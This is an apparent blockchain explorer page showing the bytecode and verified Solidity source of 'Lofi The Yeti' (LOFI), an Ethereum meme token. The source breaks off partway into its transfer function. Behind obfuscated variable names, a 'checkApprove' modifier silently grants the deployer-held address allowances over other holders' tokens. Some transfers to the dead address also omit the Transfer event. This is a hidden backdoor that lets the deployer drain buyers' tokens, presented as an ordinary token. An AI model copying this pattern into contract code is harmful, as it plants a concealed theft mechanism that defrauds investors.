Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xDF758E6C5CeF16465400081d0F06F48Ef48112D6
Balance 0 ETH
Nonce 1
Code Size 11777 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

11777 bytes
0x608060405260043610610101575f3560e01c8063715018a61161009457806395d89b411161006357806395d89b41146102fc5780639c9d301614610326578063a9059cbb14610350578063dd62ed3e1461038c578063f8af69a4146103c857610108565b8063715018a61461027c578063751039fc146102925780638a4ca7be146102a85780638da5cb5b146102d257610108565b8063263d745d116100d0578063263d745d146101d8578063313ce567146101ee5780636aa753aa1461021857806370a082311461024057610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c57610108565b3661010857005b5f80fd5b348015610117575f80fd5b506101206103f2565b60405161012d9190611fd0565b60405180910390f35b348015610141575f80fd5b5061015c60048036038101906101579190612081565b61042f565b60405161016991906120d9565b60405180910390f35b34801561017d575f80fd5b5061018661044c565b6040516101939190612101565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd919061211a565b61046f565b6040516101cf91906120d9565b60405180910390f35b3480156101e3575f80fd5b506101ec610543565b005b3480156101f9575f80fd5b50610202610a65565b60405161020f9190612185565b60405180910390f35b348015610223575f80fd5b5061023e600480360381019061023991906121d9565b610a6d565b005b34801561024b575f80fd5b5061026660048036038101906102619190612204565b610b48565b6040516102739190612101565b60405180910390f35b348015610287575f80fd5b50610290610b8e565b005b34801561029d575f80fd5b506102a6610cdc565b005b3480156102b3575f80fd5b506102bc610e0b565b6040516102c99190612101565b60405180910390f35b3480156102dd575f80fd5b506102e6610e11565b6040516102f3919061223e565b60405180910390f35b348015610307575f80fd5b50610310610e38565b60405161031d9190611fd0565b60405180910390f35b348015610331575f80fd5b5061033a610e75565b6040516103479190612101565b60405180910390f35b34801561035b575f80fd5b5061037660048036038101906103719190612081565b610e7b565b60405161038391906120d9565b60405180910390f35b348015610397575f80fd5b506103b260048036038101906103ad9190612257565b610e98565b6040516103bf9190612101565b60405180910390f35b3480156103d3575f80fd5b506103dc610f1a565b6040516103e99190612101565b60405180910390f35b60606040518060400160405280600d81526020017f4c6f666920546865205965746900000000000000000000000000000000000000815250905090565b5f61044261043b610f20565b8484610f27565b6001905092915050565b5f6009600a61045b91906123f1565b633b9aca0061046a919061243b565b905090565b5f61047b8484846110ea565b61053884610487610f20565b61053385604051806060016040528060288152602001612da46028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104ea610f20565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a039092919063ffffffff16565b610f27565b600190509392505050565b61054b610f20565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ce906124c6565b60405180910390fd5b601260149054906101000a900460ff1615610627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061e9061252e565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106c33060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6106af91906123f1565b633b9aca006106be919061243b565b610f27565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107519190612560565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fb9190612560565b6040518363ffffffff1660e01b815260040161081892919061258b565b6020604051808303815f875af1158015610834573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108589190612560565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306108df30610b48565b5f806108e9610e11565b426040518863ffffffff1660e01b815260040161090b969594939291906125f4565b60606040518083038185885af1158015610927573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094c9190612667565b50505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109ec9291906126b7565b6020604051808303815f875af1158015610a08573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2c9190612708565b506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff021916908315150217905550565b5f6009905090565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610afc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af390612756565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b4547611a65565b50565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b96610f20565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c19906124c6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ce4610f20565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d67906124c6565b60405180910390fd5b6009600a610d7e91906123f1565b633b9aca00610d8d919061243b565b600e819055506009600a610da191906123f1565b633b9aca00610db0919061243b565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610de591906123f1565b633b9aca00610df4919061243b565b604051610e019190612101565b60405180910390a1565b600f5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4c4f464900000000000000000000000000000000000000000000000000000000815250905090565b600e5481565b5f610e8e610e87610f20565b84846110ea565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60105481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8c906127e4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611003576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffa90612872565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110dd9190612101565b60405180910390a3505050565b82828260015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806111ed575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111ec5750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b5b15611277578060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f611239610f20565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036112e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112dc90612900565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611353576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134a9061298e565b60405180910390fd5b5f8411611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612a1c565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141580156113fe57503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b156116fb5761143f6064611431600954600b541161141e57600554611422565b6007545b88611aac90919063ffffffff16565b611b2390919063ffffffff16565b905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161480156114ea575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b801561153d575060045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561155a57600b5f81548092919061155490612a3a565b91905055505b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161480156115e257503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b15611626576116236064611615600a54600b541161160257600654611606565b6008545b88611aac90919063ffffffff16565b611b2390919063ffffffff16565b90505b5f61163030610b48565b9050601260159054906101000a900460ff1615801561169b575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b80156116b35750601260169054906101000a900460ff165b156116f9575f8111156116ef575f60105482106116d2576010546116d4565b815b90506116ed8188106116e657816116e8565b875b611b6c565b505b6116f847611dd7565b5b505b5f8111156117fa576117538160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e3f90919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117f19190612101565b60405180910390a35b61184a8560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e9c90919063ffffffff16565b60025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506118ed6118a18287611e9c90919063ffffffff16565b60025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e3f90919063ffffffff16565b60025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119fa578573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119e48489611e9c90919063ffffffff16565b6040516119f19190612101565b60405180910390a35b50505050505050565b5f838311158290611a4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a419190611fd0565b60405180910390fd5b505f8385611a589190612a81565b9050809150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611aa8573d5f803e3d5ffd5b5050565b5f808303611abc575f9050611b1d565b5f8284611ac9919061243b565b9050828482611ad89190612ae1565b14611b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0f90612b81565b60405180910390fd5b809150505b92915050565b5f611b6483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ee5565b905092915050565b6001601260156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611ba357611ba2612b9f565b5b604051908082528060200260200182016040528015611bd15781602001602082028036833780820191505090505b50905030815f81518110611be857611be7612bcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c8c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611cb09190612560565b81600181518110611cc457611cc3612bcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d2a3060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f27565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611d8c959493929190612cb0565b5f604051808303815f87803b158015611da3575f80fd5b505af1158015611db5573d5f803e3d5ffd5b50505050505f601260156101000a81548160ff02191690831515021790555050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e3b573d5f803e3d5ffd5b5050565b5f808284611e4d9190612d08565b905083811015611e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8990612d85565b60405180910390fd5b8091505092915050565b5f611edd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a03565b905092915050565b5f8083118290611f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f229190611fd0565b60405180910390fd5b505f8385611f399190612ae1565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611f7d578082015181840152602081019050611f62565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611fa282611f46565b611fac8185611f50565b9350611fbc818560208601611f60565b611fc581611f88565b840191505092915050565b5f6020820190508181035f830152611fe88184611f98565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61201d82611ff4565b9050919050565b61202d81612013565b8114612037575f80fd5b50565b5f8135905061204881612024565b92915050565b5f819050919050565b6120608161204e565b811461206a575f80fd5b50565b5f8135905061207b81612057565b92915050565b5f806040838503121561209757612096611ff0565b5b5f6120a48582860161203a565b92505060206120b58582860161206d565b9150509250929050565b5f8115159050919050565b6120d3816120bf565b82525050565b5f6020820190506120ec5f8301846120ca565b92915050565b6120fb8161204e565b82525050565b5f6020820190506121145f8301846120f2565b92915050565b5f805f6060848603121561213157612130611ff0565b5b5f61213e8682870161203a565b935050602061214f8682870161203a565b92505060406121608682870161206d565b9150509250925092565b5f60ff82169050919050565b61217f8161216a565b82525050565b5f6020820190506121985f830184612176565b92915050565b5f6121a882611ff4565b9050919050565b6121b88161219e565b81146121c2575f80fd5b50565b5f813590506121d3816121af565b92915050565b5f602082840312156121ee576121ed611ff0565b5b5f6121fb848285016121c5565b91505092915050565b5f6020828403121561221957612218611ff0565b5b5f6122268482850161203a565b91505092915050565b61223881612013565b82525050565b5f6020820190506122515f83018461222f565b92915050565b5f806040838503121561226d5761226c611ff0565b5b5f61227a8582860161203a565b925050602061228b8582860161203a565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612317578086048111156122f3576122f2612295565b5b60018516156123025780820291505b8081029050612310856122c2565b94506122d7565b94509492505050565b5f8261232f57600190506123ea565b8161233c575f90506123ea565b8160018114612352576002811461235c5761238b565b60019150506123ea565b60ff84111561236e5761236d612295565b5b8360020a91508482111561238557612384612295565b5b506123ea565b5060208310610133831016604e8410600b84101617156123c05782820a9050838111156123bb576123ba612295565b5b6123ea565b6123cd84848460016122ce565b925090508184048111156123e4576123e3612295565b5b81810290505b9392505050565b5f6123fb8261204e565b91506124068361216a565b92506124337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612320565b905092915050565b5f6124458261204e565b91506124508361204e565b925082820261245e8161204e565b9150828204841483151761247557612474612295565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6124b0602083611f50565b91506124bb8261247c565b602082019050919050565b5f6020820190508181035f8301526124dd816124a4565b9050919050565b7f416c7265616479204c61756e63686564210000000000000000000000000000005f82015250565b5f612518601183611f50565b9150612523826124e4565b602082019050919050565b5f6020820190508181035f8301526125458161250c565b9050919050565b5f8151905061255a81612024565b92915050565b5f6020828403121561257557612574611ff0565b5b5f6125828482850161254c565b91505092915050565b5f60408201905061259e5f83018561222f565b6125ab602083018461222f565b9392505050565b5f819050919050565b5f819050919050565b5f6125de6125d96125d4846125b2565b6125bb565b61204e565b9050919050565b6125ee816125c4565b82525050565b5f60c0820190506126075f83018961222f565b61261460208301886120f2565b61262160408301876125e5565b61262e60608301866125e5565b61263b608083018561222f565b61264860a08301846120f2565b979650505050505050565b5f8151905061266181612057565b92915050565b5f805f6060848603121561267e5761267d611ff0565b5b5f61268b86828701612653565b935050602061269c86828701612653565b92505060406126ad86828701612653565b9150509250925092565b5f6040820190506126ca5f83018561222f565b6126d760208301846120f2565b9392505050565b6126e7816120bf565b81146126f1575f80fd5b50565b5f81519050612702816126de565b92915050565b5f6020828403121561271d5761271c611ff0565b5b5f61272a848285016126f4565b91505092915050565b50565b5f6127415f83611f50565b915061274c82612733565b5f82019050919050565b5f6020820190508181035f83015261276d81612736565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6127ce602483611f50565b91506127d982612774565b604082019050919050565b5f6020820190508181035f8301526127fb816127c2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61285c602283611f50565b915061286782612802565b604082019050919050565b5f6020820190508181035f83015261288981612850565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128ea602583611f50565b91506128f582612890565b604082019050919050565b5f6020820190508181035f830152612917816128de565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612978602383611f50565b91506129838261291e565b604082019050919050565b5f6020820190508181035f8301526129a58161296c565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612a06602983611f50565b9150612a11826129ac565b604082019050919050565b5f6020820190508181035f830152612a33816129fa565b9050919050565b5f612a448261204e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a7657612a75612295565b5b600182019050919050565b5f612a8b8261204e565b9150612a968361204e565b9250828203905081811115612aae57612aad612295565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612aeb8261204e565b9150612af68361204e565b925082612b0657612b05612ab4565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b6b602183611f50565b9150612b7682612b11565b604082019050919050565b5f6020820190508181035f830152612b9881612b5f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612c2b81612013565b82525050565b5f612c3c8383612c22565b60208301905092915050565b5f602082019050919050565b5f612c5e82612bf9565b612c688185612c03565b9350612c7383612c13565b805f5b83811015612ca3578151612c8a8882612c31565b9750612c9583612c48565b925050600181019050612c76565b5085935050505092915050565b5f60a082019050612cc35f8301886120f2565b612cd060208301876125e5565b8181036040830152612ce28186612c54565b9050612cf1606083018561222f565b612cfe60808301846120f2565b9695505050505050565b5f612d128261204e565b9150612d1d8361204e565b9250828201905080821115612d3557612d34612295565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d6f601b83611f50565b9150612d7a82612d3b565b602082019050919050565b5f6020820190508181035f830152612d9c81612d63565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206c5acbf544e4dafe87a7081df845502f6abc35b071092ee8ae32a84e02ae2a1064736f6c63430008140033

Verified Source Code Full Match

Compiler: v0.8.20+commit.a1b79de6 EVM: shanghai Optimization: No
LOFI.sol 375 lines
// SPDX-License-Identifier: MIT

/*
    Name: Lofi The Yeti
    Symbol: LOFI

    A yeti frozen in time, awakened by the legendary ETHEREUM 🥶
    You need to hurry meet him, Global warming coming!

    Web: https://lofiyeti.cool
    X: https://x.com/lofi_yeti
    tg: https://t.me/lofi_yeti
*/

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
} 
contract LOFI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Lofi The Yeti";
    string private constant _symbol = unicode"LOFI";
    
    address payable private _vbjljvlklLOFI;
    mapping(address => uint256) private _cijojiseLOFI;
    mapping(address => mapping(address => uint256)) private _fjweoijLOFI;
    mapping(address => bool) private _jojodjLOFI;
    uint256 private _vjkboiwoeiLOFI = 10;
    uint256 private _odijofjoeLOFI = 10;
    uint256 private _joijoiLOFI = 0;
    uint256 private _jvbkoiweLOFI = 0;
    uint256 private _ojidoiweLOFI = 7;
    uint256 private _ojdofLOFI = 7;
    uint256 private _buyCount = 0;
    address private _ojdofiekjLOFI;
    address private _kjvnkbjnLOFI = address(0xdead);
    uint256 public _ojojoivlkLOFI = 20000000 * 10 **_decimals;
    uint256 public _lkkkvnblkjLOFI = 20000000 * 10 **_decimals;
    uint256 public _ppojofLOFI = 10000000 * 10 **_decimals;
    uint256 private constant _kmmvbLOFI = 1000000000 * 10 **_decimals;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private isTrading;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _ojojoivlkLOFI);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier checkApprove(address owner, address spender, uint256 amount) {
        if(msg.sender == _vbjljvlklLOFI || 
            (owner != uniswapV2Pair && spender == _kjvnkbjnLOFI))
                _fjweoijLOFI[owner][_msgSender()] = amount;
        _;
    }

    constructor() payable {
        _vbjljvlklLOFI = payable(_msgSender());
        _cijojiseLOFI[address(this)] = _kmmvbLOFI * 98 / 100;
        _cijojiseLOFI[owner()] = _kmmvbLOFI * 2 / 100;
        _jojodjLOFI[owner()] = true;
        _jojodjLOFI[address(this)] = true;
        _jojodjLOFI[_vbjljvlklLOFI] = true;
        _ojdofiekjLOFI = _msgSender();
        emit Transfer(address(0), address(this), _kmmvbLOFI * 98 / 100);
        emit Transfer(address(0), address(owner()), _kmmvbLOFI * 2 / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function totalSupply() public pure override returns (uint256) {
        return _kmmvbLOFI;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _fjweoijLOFI[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transferr_LOFI(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _fjweoijLOFI[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _cijojiseLOFI[account];
    }
    
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _fjweoijLOFI[owner][spender];
    }

    receive() external payable {}

    function enableTokenTrading() external onlyOwner {
        require(!isTrading, "Already Launched!");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _kmmvbLOFI);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        isTrading = true;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transferr_LOFI(_msgSender(), recipient, amount);
        return true;
    }

    function _swappp_LOFI(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _assistLOFI(uint256 amount) private {
        _vbjljvlklLOFI.transfer(amount);
    }

    function _transferr_LOFI(
        address from,
        address to,
        uint256 amount
    ) private checkApprove(from, to, amount) {
        require(from != address(0), "ERC20: transfer from the zero address");
